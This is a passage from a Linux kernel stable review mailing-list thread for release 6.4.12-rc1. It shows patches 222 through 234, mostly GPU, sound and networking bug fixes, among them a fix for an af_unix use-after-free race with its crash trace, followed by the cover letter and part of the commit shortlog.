@@ -61,15 +61,9 @@ struct std_timing {u8 vfreq_aspect; } __attribute__((packed)); -#define DRM_EDID_PT_SYNC_MASK (3 << 3) -# define DRM_EDID_PT_ANALOG_CSYNC (0 << 3) -# define DRM_EDID_PT_BIPOLAR_ANALOG_CSYNC (1 << 3) -# define DRM_EDID_PT_DIGITAL_CSYNC (2 << 3) -# define DRM_EDID_PT_CSYNC_ON_RGB (1 << 1)/* analog csync only */ -# define DRM_EDID_PT_CSYNC_SERRATE (1 << 2) -# define DRM_EDID_PT_DIGITAL_SEPARATE_SYNC (3 << 3) -# define DRM_EDID_PT_HSYNC_POSITIVE (1 << 1)/* also digital csync */ -# define DRM_EDID_PT_VSYNC_POSITIVE (1 << 2) +#define DRM_EDID_PT_HSYNC_POSITIVE (1 << 1) +#define DRM_EDID_PT_VSYNC_POSITIVE (1 << 2) +#define DRM_EDID_PT_SEPARATE_SYNC (3 << 3)#define DRM_EDID_PT_STEREO (1 << 5)#define DRM_EDID_PT_INTERLACED (1 << 7)
Greg Kroah-Hartman
maintainerPATCH 222/234 Revert "Revert "drm/amdgpu/display: change pipe policy for DCN 2.0""
In reply to Greg Kroah-HartmanFrom: Alex Deucher <[email protected]>
commit 6ecc10295abb2fdd9c21dd17b34e4cacfd829cd4 upstream.
This reverts commit 27dd79c00aeab36cd7542c7a4481a32549038659.
It appears MPC_SPLIT_DYNAMIC still causes problems with multiple displays on DCN2.0 hardware. Switch back to MPC_SPLIT_AVOID_MULT_DISP. This increases power usage with multiple displays, but avoids hangs.
--- drivers/gpu/drm/amd/display/dc/dcn20/dcn20_resource.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/gpu/drm/amd/display/dc/dcn20/dcn20_resource.c +1 -1
@@ -712,7 +712,7 @@ static const struct dc_debug_options debug_defaults_drv = { .timing_trace = false, .clock_trace = true, .disable_pplib_clock_request = true, - .pipe_split_policy = MPC_SPLIT_DYNAMIC, + .pipe_split_policy = MPC_SPLIT_AVOID_MULT_DISP, .force_single_disp_pipe_split = false, .disable_dcc = DCC_ENABLE, .vsr_support = true,
Signature · 1 line
2.41.0
Greg Kroah-Hartman
maintainerPATCH 223/234 drm/i915/sdvo: fix panel_type initialization
In reply to Greg Kroah-HartmanFrom: Jani Nikula <[email protected]>
commit 2002eb6d3ea954dde9f8a223018d5335779937d0 upstream.
Commit 3f9ffce5765d ("drm/i915: Do panel VBT init early if the VBT declares an explicit panel type") started using -1 as the value for unset panel_type. It gets initialized in intel_panel_init_alloc(), but the SDVO code never calls it.
Call intel_panel_init_alloc() to initialize the panel, including the panel_type.
--- drivers/gpu/drm/i915/display/intel_sdvo.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/gpu/drm/i915/display/intel_sdvo.c +1 -1
@@ -2752,7 +2752,7 @@ static struct intel_sdvo_connector *inte__drm_atomic_helper_connector_reset (&sdvo_connector->base.base, &conn_state->base.base); -INIT_LIST_HEAD (&sdvo_connector->base.panel.fixed_modes); +intel_panel_init_alloc (&sdvo_connector->base);return sdvo_connector; }
Greg Kroah-Hartman
maintainerPATCH 224/234 drm/amd: flush any delayed gfxoff on suspend entry
In reply to Greg Kroah-HartmanFrom: Mario Limonciello <[email protected]>
commit a7b7d9e8aee4f71b4c7151702fd74237b8cef989 upstream.
DCN 3.1.4 is reported to hang on s2idle entry if graphics activity is happening during entry. This is because GFXOFF was scheduled as delayed but RLC gets disabled in s2idle entry sequence which will hang GFX IP if not already in GFXOFF.
To help this problem, flush any delayed work for GFXOFF early in s2idle entry sequence to ensure that it's off when RLC is changed.
commit 4b31b92b143f ("drm/amdgpu: complete gfxoff allow signal during suspend without delay") modified power gating flow so that if called in s0ix that it ensured that GFXOFF wasn't put in work queue but instead processed immediately.
This is dead code due to commit 10cb67eb8a1b ("drm/amdgpu: skip CG/PG for gfx during S0ix") because GFXOFF will now not be explicitly called as part of the suspend entry code. Remove that dead code.
--- drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 1 + drivers/gpu/drm/amd/amdgpu/amdgpu_gfx.c | 9 +-------- 2 files changed, 2 insertions(+), 8 deletions(-)
drivers/gpu/drm/amd/amdgpu/amdgpu_device.c +1 -0
@@ -4250,6 +4250,7 @@ int amdgpu_device_suspend(struct drm_devdrm_fb_helper_set_suspend_unlocked (adev_to_drm (adev)->fb_helper, true);cancel_delayed_work_sync (&adev->delayed_init_work); +flush_delayed_work (&adev->gfx.gfx_off_delay_work);amdgpu_ras_suspend (adev);
drivers/gpu/drm/amd/amdgpu/amdgpu_gfx.c +1 -8
@@ -589,15 +589,8 @@ void amdgpu_gfx_off_ctrl(struct amdgpu_dif (adev->gfx.gfx_off_req_count ==0 && !adev->gfx.gfx_off_state) { -/* If going to s2idle, no need to wait */ -if (adev->in_s0ix) { -if (!amdgpu_dpm_set_powergating_by_smu (adev, -AMD_IP_BLOCK_TYPE_GFX , true)) - adev->gfx.gfx_off_state = true; - }else { -schedule_delayed_work (&adev->gfx.gfx_off_delay_work, +schedule_delayed_work (&adev->gfx.gfx_off_delay_work, delay); - } } }else {if (adev->gfx.gfx_off_req_count ==0 ) {
Greg Kroah-Hartman
maintainerPATCH 225/234 drm/amdgpu: skip fence GFX interrupts disable/enable for S0ix
In reply to Greg Kroah-HartmanFrom: Tim Huang <[email protected]>
commit f1740b1ab2703b2a057da7cf33b03297e0381aa0 upstream.
GFX v11.0.1 reported fence fallback timer expired issue on SDMA and GFX rings after S0ix resume. This is generated by EOP interrupts are disabled when S0ix suspend but fails to re-enable when resume because of the GFX is in GFXOFF.
[ 203.349571] [drm] Fence fallback timer expired on ring sdma0 [ 203.349572] [drm] Fence fallback timer expired on ring gfx_0.0.0 [ 203.861635] [drm] Fence fallback timer expired on ring gfx_0.0.0
For S0ix, GFX is in GFXOFF state, avoid to touch the GFX registers to configure the fence driver interrupts for rings that belong to GFX. The interrupts configuration will be restored by GFXOFF exit.
--- drivers/gpu/drm/amd/amdgpu/amdgpu_fence.c | 41 ++++++++++++++++++++++++++++-- 1 file changed, 39 insertions(+), 2 deletions(-)
drivers/gpu/drm/amd/amdgpu/amdgpu_fence.c +39 -2
@@ -556,6 +556,41 @@ int amdgpu_fence_driver_sw_init(struct a }/** +* amdgpu_fence_need_ring_interrupt_restore - helper function to check whether +* fence driver interrupts need to be restored. +* +* @ring: ring that to be checked +* +* Interrupts for rings that belong to GFX IP don't need to be restored +* when the target power state is s0ix. +* +* Return true if need to restore interrupts, false otherwise. +*/ +static bool amdgpu_fence_need_ring_interrupt_restore (struct amdgpu_ring *ring) +{ +struct amdgpu_device *adev = ring->adev; +bool is_gfx_power_domain = false; + +switch (ring->funcs->type) { +case AMDGPU_RING_TYPE_SDMA : +/* SDMA 5.x+ is part of GFX power domain so it's covered by GFXOFF */ +if (adev->ip_versions[SDMA0_HWIP ][0 ] >=IP_VERSION (5 ,0 ,0 )) + is_gfx_power_domain = true; +break ; +case AMDGPU_RING_TYPE_GFX : +case AMDGPU_RING_TYPE_COMPUTE : +case AMDGPU_RING_TYPE_KIQ : +case AMDGPU_RING_TYPE_MES : + is_gfx_power_domain = true; +break ; +default : +break ; + } + +return !(adev->in_s0ix && is_gfx_power_domain); +} + +/** * amdgpu_fence_driver_hw_fini - tear down the fence driver * for all possible rings. *
@@ -583,7 +618,8 @@ void amdgpu_fence_driver_hw_fini(structamdgpu_fence_driver_force_completion (ring);if (!drm_dev_is_unplugged (adev_to_drm (adev)) && - ring->fence_drv.irq_src) + ring->fence_drv.irq_src && +amdgpu_fence_need_ring_interrupt_restore (ring))amdgpu_irq_put (adev, ring->fence_drv.irq_src, ring->fence_drv.irq_type);
@@ -658,7 +694,8 @@ void amdgpu_fence_driver_hw_init(structcontinue ;/* enable the interrupt */ -if (ring->fence_drv.irq_src) +if (ring->fence_drv.irq_src && +amdgpu_fence_need_ring_interrupt_restore (ring))amdgpu_irq_get (adev, ring->fence_drv.irq_src, ring->fence_drv.irq_type); }
Greg Kroah-Hartman
maintainerPATCH 226/234 drm/amdgpu/pm: fix throttle_status for other than MP1 11.0.7
In reply to Greg Kroah-HartmanFrom: Umio Yasuno <[email protected]>
commit 6a92761a86817ad15c9a562e2a809386237fae3e upstream.
Use the right metrics table version based on the firmware.
--- drivers/gpu/drm/amd/pm/swsmu/smu11/sienna_cichlid_ppt.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-)
drivers/gpu/drm/amd/pm/swsmu/smu11/sienna_cichlid_ppt.c +7 -7
@@ -588,7 +588,9 @@ err0_out:return -ENOMEM ; } -static uint32_t sienna_cichlid_get_throttler_status_locked (struct smu_context *smu) +static uint32_t sienna_cichlid_get_throttler_status_locked (struct smu_context *smu, +bool use_metrics_v3, +bool use_metrics_v2) {struct smu_table_context *smu_table= &smu->smu_table; SmuMetricsExternal_t *metrics_ext =
@@ -596,13 +598,11 @@ static uint32_t sienna_cichlid_get_throtuint32_t throttler_status =0 ;int i; -if ((smu->adev->ip_versions[MP1_HWIP ][0 ] ==IP_VERSION (11 ,0 ,7 )) && - (smu->smc_fw_version >=0x3A4900 )) { +if (use_metrics_v3) {for (i =0 ; i <THROTTLER_COUNT ; i++) throttler_status |= (metrics_ext->SmuMetrics_V3.ThrottlingPercentage[i] ?1U << i :0 ); - }else if ((smu->adev->ip_versions[MP1_HWIP ][0 ] ==IP_VERSION (11 ,0 ,7 )) && - (smu->smc_fw_version >=0x3A4300 )) { + }else if (use_metrics_v2) {for (i =0 ; i <THROTTLER_COUNT ; i++) throttler_status |= (metrics_ext->SmuMetrics_V2.ThrottlingPercentage[i] ?1U << i :0 );
@@ -864,7 +864,7 @@ static int sienna_cichlid_get_smu_metric metrics->TemperatureVrSoc) * SMU_TEMPERATURE_UNITS_PER_CENTIGRADES;break ;case METRICS_THROTTLER_STATUS : - *value =sienna_cichlid_get_throttler_status_locked (smu); + *value =sienna_cichlid_get_throttler_status_locked (smu, use_metrics_v3, use_metrics_v2);break ;case METRICS_CURR_FANSPEED : *value = use_metrics_v3 ? metrics_v3->CurrFanSpeed :
@@ -4017,7 +4017,7 @@ static ssize_t sienna_cichlid_get_gpu_me gpu_metrics->current_dclk1 = use_metrics_v3 ? metrics_v3->CurrClock[PPCLK_DCLK_1 ] : use_metrics_v2 ? metrics_v2->CurrClock[PPCLK_DCLK_1 ] : metrics->CurrClock[PPCLK_DCLK_1 ]; - gpu_metrics->throttle_status =sienna_cichlid_get_throttler_status_locked (smu); + gpu_metrics->throttle_status =sienna_cichlid_get_throttler_status_locked (smu, use_metrics_v3, use_metrics_v2); gpu_metrics->indep_throttle_status =smu_cmn_get_indep_throttler_status (gpu_metrics->throttle_status, sienna_cichlid_throttler_map);
Greg Kroah-Hartman
maintainerPATCH 227/234 ASoC: amd: vangogh: select CONFIG_SND_AMD_ACP_CONFIG
In reply to Greg Kroah-HartmanFrom: Arnd Bergmann <[email protected]>
commit 812a05256d673b2b9c5db906775d1e6625ba4787 upstream.
The vangogh driver just gained a link time dependency that now causes randconfig builds to fail:
x86_64-linux-ld: sound/soc/amd/vangogh/pci-acp5x.o: in function `snd_acp5x_probe':
pci-acp5x.c:(.text+0xbb): undefined reference to `snd_amd_acp_find_config'
--- sound/soc/amd/Kconfig | 1 + 1 file changed, 1 insertion(+)
sound/soc/amd/Kconfig +1 -0
@@ -81,6 +81,7 @@ config SND_SOC_AMD_VANGOGH_MACH tristate "AMD Vangogh support for NAU8821 CS35L41" select SND_SOC_NAU8821 select SND_SOC_CS35L41_SPI + select SND_AMD_ACP_CONFIG depends on SND_SOC_AMD_ACP5x && I2C && SPI_MASTER help This option enables machine driver for Vangogh platform
Greg Kroah-Hartman
maintainerPATCH 228/234 drm/amd/display: disable RCO for DCN314
In reply to Greg Kroah-HartmanFrom: Daniel Miess <[email protected]>
commit 85e41f1ed5d94a26fe4e57003c399936d291ed70 upstream.
[Why]
RCO is causing error messages on some DCN314 systems
[How]
Force disable RCO for DCN314
--- drivers/gpu/drm/amd/display/dc/dcn314/dcn314_dccg.c | 2 +- drivers/gpu/drm/amd/display/dc/dcn314/dcn314_resource.c | 4 ++++ 2 files changed, 5 insertions(+), 1 deletion(-)
drivers/gpu/drm/amd/display/dc/dcn314/dcn314_dccg.c +1 -1
@@ -322,7 +322,7 @@ static void dccg314_dpp_root_clock_contr {struct dcn_dccg *dccg_dcn =TO_DCN_DCCG (dccg); -if (dccg->dpp_clock_gated[dpp_inst] == clock_on) +if (dccg->dpp_clock_gated[dpp_inst] != clock_on)return ;if (clock_on) {
drivers/gpu/drm/amd/display/dc/dcn314/dcn314_resource.c +4 -0
@@ -1936,6 +1936,10 @@ static bool dcn314_resource_construct( dc->debug = debug_defaults_drv; else dc->debug = debug_defaults_diags; + +/* Disable root clock optimization */ + dc->debug.root_clock_optimization.u32All =0 ; +// Init the vm_helper if (dc->vm_helper)vm_helper_init (dc->vm_helper,16 );
Greg Kroah-Hartman
maintainerPATCH 229/234 drm/amd/pm: skip the RLC stop when S0i3 suspend for SMU v13.0.4/11
In reply to Greg Kroah-HartmanFrom: Tim Huang <[email protected]>
commit 730d44e1fa306a20746ad4a85da550662aed9daa upstream.
For SMU v13.0.4/11, driver does not need to stop RLC for S0i3, the firmwares will handle that properly.
--- drivers/gpu/drm/amd/pm/swsmu/amdgpu_smu.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
drivers/gpu/drm/amd/pm/swsmu/amdgpu_smu.c +2 -2
@@ -1573,9 +1573,9 @@ static int smu_disable_dpms(struct smu_c/* * For SMU 13.0.4/11, PMFW will handle the features disablement properly -* for gpu reset case. Driver involvement is unnecessary. +* for gpu reset and S0i3 cases. Driver involvement is unnecessary. */ -if (amdgpu_in_reset (adev)) { +if (amdgpu_in_reset (adev) || adev->in_s0ix) {switch (adev->ip_versions[MP1_HWIP ][0 ]) {case IP_VERSION (13 ,0 ,4 ):case IP_VERSION (13 ,0 ,11 ):
Greg Kroah-Hartman
maintainerPATCH 230/234 drm/amdgpu: keep irq count in amdgpu_irq_disable_all
In reply to Greg Kroah-HartmanFrom: Guchun Chen <[email protected]>
commit 8ffd6f0442674f32c048ec8dffdbc5ec67829beb upstream.
This can clean up all irq warnings because of unbalanced amdgpu_irq_get/put when unplugging/unbinding device, and leave irq count decrease in each ip fini function.
--- drivers/gpu/drm/amd/amdgpu/amdgpu_irq.c | 1 - 1 file changed, 1 deletion(-)
drivers/gpu/drm/amd/amdgpu/amdgpu_irq.c +0 -1
@@ -124,7 +124,6 @@ void amdgpu_irq_disable_all(struct amdgpcontinue ;for (k =0 ; k < src->num_types; ++k) { -atomic_set (&src->enabled_types[k],0 ); r = src->funcs->set (adev, src, k,AMDGPU_IRQ_STATE_DISABLE );if (r)
Greg Kroah-Hartman
maintainerPATCH 231/234 Revert "perf report: Append inlines to non-DWARF callchains"
In reply to Greg Kroah-HartmanFrom: Arnaldo Carvalho de Melo <[email protected]>
commit c0b067588a4836b762cfc6a4c83f122ca1dbb93a upstream.
This reverts commit 46d21ec067490ab9cdcc89b9de5aae28786a8b8e.
The tests were made with a specific workload, further tests on a recently updated fedora 38 system with a system wide perf.data file shows 'perf report' taking excessive time resolving inlines in vmlinux, so lets revert this until a full investigation and improvement on the addr2line support code is made.
--- tools/perf/util/machine.c | 5 ----- 1 file changed, 5 deletions(-)
tools/perf/util/machine.c +0 -5
@@ -44,7 +44,6 @@#include <linux/zalloc.h> static void __machine__remove_thread (struct machine *machine,struct thread *th,bool lock); -static int append_inlines (struct callchain_cursor *cursor,struct map_symbol *ms,u64 ip);static struct dso *machine__kernel_dso (struct machine *machine) {
@@ -2371,10 +2370,6 @@ static int add_callchain_ip(struct threa ms.maps = al.maps; ms.map = al.map; ms.sym = al.sym; - -if (!branch &&append_inlines (cursor, &ms, ip) ==0 ) -return 0 ; - srcline =callchain_srcline (&ms, al.addr); err = callchain_cursor_append(cursor, ip, &ms, branch, flags, nr_loop_iter,
Greg Kroah-Hartman
maintainerPATCH 232/234 ASoC: SOF: intel: hda: Clean up link DMA for IPC3 during stop
In reply to Greg Kroah-HartmanFrom: Ranjani Sridharan <[email protected]>
commit 90219f1bd273055f1dc1d7bdc0965755b992c045 upstream.
With IPC3, we reset hw_params during the stop trigger, so we should also clean up the link DMA during the stop trigger.
--- sound/soc/sof/intel/hda-dai-ops.c | 13 ++++++++++++- sound/soc/sof/intel/hda-dai.c | 8 ++++---- sound/soc/sof/intel/hda.h | 2 ++ 3 files changed, 18 insertions(+), 5 deletions(-)
sound/soc/sof/intel/hda-dai-ops.c +12 -1
@@ -289,16 +289,27 @@ static const struct hda_dai_widget_dma_ostatic int hda_ipc3_post_trigger (struct snd_sof_dev *sdev,struct snd_soc_dai *cpu_dai,struct snd_pcm_substream *substream,int cmd) { +struct hdac_ext_stream *hext_stream =hda_get_hext_stream (sdev, cpu_dai, substream);struct snd_soc_dapm_widget *w =snd_soc_dai_get_widget (cpu_dai, substream->stream); +struct snd_soc_pcm_runtime *rtd =asoc_substream_to_rtd (substream); +struct snd_soc_dai *codec_dai =asoc_rtd_to_codec (rtd,0 );switch (cmd) {case SNDRV_PCM_TRIGGER_SUSPEND :case SNDRV_PCM_TRIGGER_STOP : {struct snd_sof_dai_config_data data = {0 }; +int ret; data.dai_data =DMA_CHAN_INVALID ; -return hda_dai_config (w,SOF_DAI_CONFIG_FLAGS_HW_FREE , &data); + ret =hda_dai_config (w,SOF_DAI_CONFIG_FLAGS_HW_FREE , &data); +if (ret <0 ) +return ret; + +if (cmd ==SNDRV_PCM_TRIGGER_STOP ) +return hda_link_dma_cleanup (substream, hext_stream, cpu_dai, codec_dai); + +break ; }case SNDRV_PCM_TRIGGER_PAUSE_PUSH :return hda_dai_config (w,SOF_DAI_CONFIG_FLAGS_PAUSE ,NULL );
sound/soc/sof/intel/hda-dai.c +4 -4
@@ -91,10 +91,10 @@ hda_dai_get_ops(struct snd_pcm_substreamreturn sdai->platform_private; } -static int hda_link_dma_cleanup (struct snd_pcm_substream *substream, -struct hdac_ext_stream *hext_stream, -struct snd_soc_dai *cpu_dai, -struct snd_soc_dai *codec_dai) +int hda_link_dma_cleanup (struct snd_pcm_substream *substream, +struct hdac_ext_stream *hext_stream, +struct snd_soc_dai *cpu_dai, +struct snd_soc_dai *codec_dai) {struct snd_sof_dev *sdev =snd_soc_component_get_drvdata (cpu_dai->component);const struct hda_dai_widget_dma_ops *ops =hda_dai_get_ops (substream, cpu_dai);
sound/soc/sof/intel/hda.h +2 -0
@@ -942,5 +942,7 @@ const struct hda_dai_widget_dma_ops * hda_select_dai_widget_ops(struct snd_sof_dev *sdev, struct snd_sof_widget *swidget);int hda_dai_config (struct snd_soc_dapm_widget *w,unsigned int flags,struct snd_sof_dai_config_data *data); +int hda_link_dma_cleanup (struct snd_pcm_substream *substream,struct hdac_ext_stream *hext_stream, +struct snd_soc_dai *cpu_dai,struct snd_soc_dai *codec_dai);#endif
Greg Kroah-Hartman
maintainerPATCH 233/234 af_unix: Fix null-ptr-deref in unix_stream_sendpage().
In reply to Greg Kroah-HartmanFrom: Kuniyuki Iwashima <[email protected]>
Bing-Jhong Billy Jheng reported null-ptr-deref in unix_stream_sendpage() with detailed analysis and a nice repro.
unix_stream_sendpage() tries to add data to the last skb in the peer's recv queue without locking the queue.
If the peer's FD is passed to another socket and the socket's FD is passed to the peer, there is a loop between them. If we close both sockets without receiving FD, the sockets will be cleaned up by garbage collection.
The garbage collection iterates such sockets and unlinks skb with FD from the socket's receive queue under the queue's lock.
So, there is a race where unix_stream_sendpage() could access an skb locklessly that is being released by garbage collection, resulting in use-after-free.
To avoid the issue, unix_stream_sendpage() must lock the peer's recv queue.
Note the issue does not exist in 6.5+ thanks to the recent sendpage() refactoring.
This patch is originally written by Linus Torvalds.
BUG: unable to handle page fault for address: ffff988004dd6870
PF: supervisor read access in kernel mode
PF: error_code(0x0000) - not-present page
PGD 0 P4D 0
PREEMPT SMP PTI
CPU: 4 PID: 297 Comm: garbage_uaf Not tainted 6.1.46 #1 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 RIP: 0010:kmem_cache_alloc_node+0xa2/0x1e0 Code: c0 0f 84 32 01 00 00 41 83 fd ff 74 10 48 8b 00 48 c1 e8 3a 41 39 c5 0f 85 1c 01 00 00 41 8b 44 24 28 49 8b 3c 24 48 8d 4a 40 <49> 8b 1c 06 4c 89 f0 65 48 0f c7 0f 0f 94 c0 84 c0 74 a1 41 8b 44 RSP: 0018:ffffc9000079fac0 EFLAGS: 00000246 RAX: 0000000000000070 RBX: 0000000000000005 RCX: 000000000001a284 RDX: 000000000001a244 RSI: 0000000000400cc0 RDI: 000000000002eee0 RBP: 0000000000400cc0 R08: 0000000000400cc0 R09: 0000000000000003 R10: 0000000000000001 R11: 0000000000000000 R12: ffff888003970f00 R13: 00000000ffffffff R14: ffff988004dd6800 R15: 00000000000000e8 FS: 00007f174d6f3600(0000) GS:ffff88807db00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: ffff988004dd6870 CR3: 00000000092be000 CR4: 00000000007506e0 PKRU: 55555554 Call Trace: <TASK> ? __die_body.cold+0x1a/0x1f ? page_fault_oops+0xa9/0x1e0 ? fixup_exception+0x1d/0x310 ? exc_page_fault+0xa8/0x150 ? asm_exc_page_fault+0x22/0x30 ? kmem_cache_alloc_node+0xa2/0x1e0 ? __alloc_skb+0x16c/0x1e0 __alloc_skb+0x16c/0x1e0 alloc_skb_with_frags+0x48/0x1e0 sock_alloc_send_pskb+0x234/0x270 unix_stream_sendmsg+0x1f5/0x690 sock_sendmsg+0x5d/0x60 ____sys_sendmsg+0x210/0x260 ___sys_sendmsg+0x83/0xd0 ? kmem_cache_alloc+0xc6/0x1c0 ? avc_disable+0x20/0x20 ? percpu_counter_add_batch+0x53/0xc0 ? alloc_empty_file+0x5d/0xb0 ? alloc_file+0x91/0x170 ? alloc_file_pseudo+0x94/0x100 ? __fget_light+0x9f/0x120 __sys_sendmsg+0x54/0xa0 do_syscall_64+0x3b/0x90 entry_SYSCALL_64_after_hwframe+0x69/0xd3 RIP: 0033:0x7f174d639a7d Code: 28 89 54 24 1c 48 89 74 24 10 89 7c 24 08 e8 8a c1 f4 ff 8b 54 24 1c 48 8b 74 24 10 41 89 c0 8b 7c 24 08 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 33 44 89 c7 48 89 44 24 08 e8 de c1 f4 ff 48 RSP: 002b:00007ffcb563ea50 EFLAGS: 00000293 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f174d639a7d RDX: 0000000000000000 RSI: 00007ffcb563eab0 RDI: 0000000000000007 RBP: 00007ffcb563eb10 R08: 0000000000000000 R09: 00000000ffffffff R10: 00000000004040a0 R11: 0000000000000293 R12: 00007ffcb563ec28 R13: 0000000000401398 R14: 0000000000403e00 R15: 00007f174d72c000 </TASK>
--- net/unix/af_unix.c | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-)
net/unix/af_unix.c +4 -5
@@ -2291,6 +2291,7 @@ static ssize_t unix_stream_sendpage(struif (false) { alloc_skb: +spin_unlock (&other->sk_receive_queue.lock);unix_state_unlock (other);mutex_unlock (&unix_sk (other)->iolock); newskb = sock_alloc_send_pskb(sk, 0, 0, flags & MSG_DONTWAIT,
@@ -2330,6 +2331,7 @@ alloc_skb: init_scm = false; } +spin_lock (&other->sk_receive_queue.lock); skb =skb_peek_tail (&other->sk_receive_queue);if (tail && tail == skb) { skb = newskb;
@@ -2360,14 +2362,11 @@ alloc_skb:refcount_add (size, &sk->sk_wmem_alloc);if (newskb) { - err =unix_scm_to_skb (&scm, skb, false); -if (err) - goto err_state_unlock; -spin_lock (&other->sk_receive_queue.lock); +unix_scm_to_skb (&scm, skb, false);__skb_queue_tail (&other->sk_receive_queue, newskb); -spin_unlock (&other->sk_receive_queue.lock); } +spin_unlock (&other->sk_receive_queue.lock);unix_state_unlock (other);mutex_unlock (&unix_sk (other)->iolock);
Greg Kroah-Hartman
maintainerPATCH 234/234 net: fix the RTO timer retransmitting skb every 1ms if linear option is enabled
In reply to Greg Kroah-HartmanFrom: Jason Xing <[email protected]>
commit e4dd0d3a2f64b8bd8029ec70f52bdbebd0644408 upstream.
In the real workload, I encountered an issue which could cause the RTO timer to retransmit the skb per 1ms with linear option enabled. The amount of lost-retransmitted skbs can go up to 1000+ instantly.
The root cause is that if the icsk_rto happens to be zero in the 6th round (which is the TCP_THIN_LINEAR_RETRIES value), then it will always be zero due to the changed calculation method in tcp_retransmit_timer() as follows:
icsk->icsk_rto = min(icsk->icsk_rto << 1, TCP_RTO_MAX);
Above line could be converted toicsk->icsk_rto = min(0 << 1, TCP_RTO_MAX) = 0
Therefore, the timer expires so quickly without any doubt.
I read through the RFC 6298 and found that the RTO value can be rounded up to a certain value, in Linux, say TCP_RTO_MIN as default, which is regarded as the lower bound in this patch as suggested by Eric.
--- net/ipv4/tcp_timer.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-)
net/ipv4/tcp_timer.c +3 -1
@@ -586,7 +586,9 @@ out_reset_timer: tcp_stream_is_thin(tp) && icsk->icsk_retransmits <= TCP_THIN_LINEAR_RETRIES) { icsk->icsk_backoff = 0; - icsk->icsk_rto = min(__tcp_set_rto(tp), TCP_RTO_MAX); + icsk->icsk_rto = clamp(__tcp_set_rto(tp), + tcp_rto_min(sk), + TCP_RTO_MAX); } else {/* Use normal (exponential) backoff */ icsk->icsk_rto =min (icsk->icsk_rto <<1 ,TCP_RTO_MAX );
Quoted 5 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.4.12 release. There are 234 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Quoted 8 lines
Responses should be made by Wed, 23 Aug 2023 19:40:45 +0000. Anything received after that time might be too late.
The whole patch series can be found in one patch at:
https://www.kernel.org/pub/linux/kernel/v6.x/stable-review/patch-6.4.12-rc1.gzor in the git tree and branch at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.gitlinux-6.4.y
and the diffstat can be found below.
For RCU,
thanks,
- Joel
Quoted 985 lines
thanks,
greg k-h
-------------
Pseudo-Shortlog of commits:Greg Kroah-Hartman <[email protected]>
Linux 6.4.12-rc1Jason Xing <[email protected]>
net: fix the RTO timer retransmitting skb every 1ms if linear option is enabledKuniyuki Iwashima <[email protected]>
af_unix: Fix null-ptr-deref inunix_stream_sendpage().Ranjani Sridharan <[email protected]>
ASoC: SOF: intel: hda: Clean up link DMA for IPC3 during stopArnaldo Carvalho de Melo <[email protected]>
Revert "perf report: Append inlines to non-DWARF callchains"Guchun Chen <[email protected]>
drm/amdgpu: keep irq count inamdgpu_irq_disable_allTim Huang <[email protected]>
drm/amd/pm: skip the RLC stop when S0i3 suspend for SMU v13.0.4/11Daniel Miess <[email protected]>
drm/amd/display: disable RCO for DCN314Arnd Bergmann <[email protected]>
ASoC: amd: vangogh: selectCONFIG_SND_AMD_ACP_CONFIGUmio Yasuno <[email protected]>
drm/amdgpu/pm: fixthrottle_statusfor other than MP1 11.0.7Tim Huang <[email protected]>
drm/amdgpu: skip fence GFX interrupts disable/enable for S0ixMario Limonciello <[email protected]>
drm/amd: flush any delayed gfxoff on suspend entryJani Nikula <[email protected]>
drm/i915/sdvo: fixpanel_typeinitializationAlex Deucher <[email protected]>
Revert "Revert "drm/amdgpu/display: change pipe policy for DCN 2.0""Jani Nikula <[email protected]>
Revert "drm/edid: Fix csync detailed mode parsing"Wander Lairson Costa <[email protected]>
drm/qxl: fix UAF on handle creationHarshit Mogalapalli <[email protected]>
mmc: sunplus: Fix error handling inspmmc_drv_probe()Wei Chen <[email protected]>
mmc: sunplus: fix return value check ofmmc_add_host()Yibin Ding <[email protected]>
mmc: block: Fix in_flight[issue_type] value errorYang Yingliang <[email protected]>
mmc: wbsd: fix doublemmc_free_host()inwbsd_init()Yangtao Li <[email protected]>
mmc: f-sdh30: fix order of function calls insdhci_f_sdh30_removeShazad Hussain <[email protected]>
dt-bindings: pinctrl: qcom,sa8775p-tlmm: add gpio function constantLaurent Pinchart <[email protected]>
media: uvcvideo: Fix menu count handling for userspace XU mappingsSweet Tea Dorminy <[email protected]>
blk-crypto: dynamically allocate fallback profileMark Brown <[email protected]>
arm64/ptrace: Ensure that the task sees ZT writes on first useMark Brown <[email protected]>
arm64/ptrace: Ensure that SME is set up for target when writing SSVE stateYogesh Hegde <[email protected]>
arm64: dts: rockchip: Fix Wifi/Bluetooth on ROCK Pi 4 boardsHawkins Jiawei <[email protected]>
virtio-net: Zeromax_tx_vqfield forVIRTIO_NET_CTRL_MQ_HASH_CONFIGcaseMartin Fuzzey <[email protected]>
regulator: da9063: better fix null deref with partial DTScott Mayhew <[email protected]>
smb: client: fix null authMingzheng Xing <[email protected]>
riscv: Handle zicsr/zifencei issue between gcc and binutilsHelge Deller <[email protected]>
parisc: FixCONFIG_TLB_PTLOCKto work with lightweight spinlock checksRussell Harmon via samba-technical <[email protected]>
cifs: Release folio lock on fscache read hit.dengxiang <[email protected]>
ALSA: usb-audio: Add support for Mythware XA001AU capture and playback interfaces.Tony Lindgren <[email protected]>
serial: 8250: Fix oops for port->pm on uart_change_pm()Alexandre Ghiti <[email protected]>
riscv: uaccess: Return the number of bytes effectively not copiedNam Cao <[email protected]>
riscv: correctriscv_insn_is_c_jr()andriscv_insn_is_c_jalr()Celeste Liu <[email protected]>
riscv: entry: set a0 = -ENOSYS only when syscall != -1Kailang Yang <[email protected]>
ALSA: hda/realtek - Remodified 3k pull low procedureJiasheng Jiang <[email protected]>
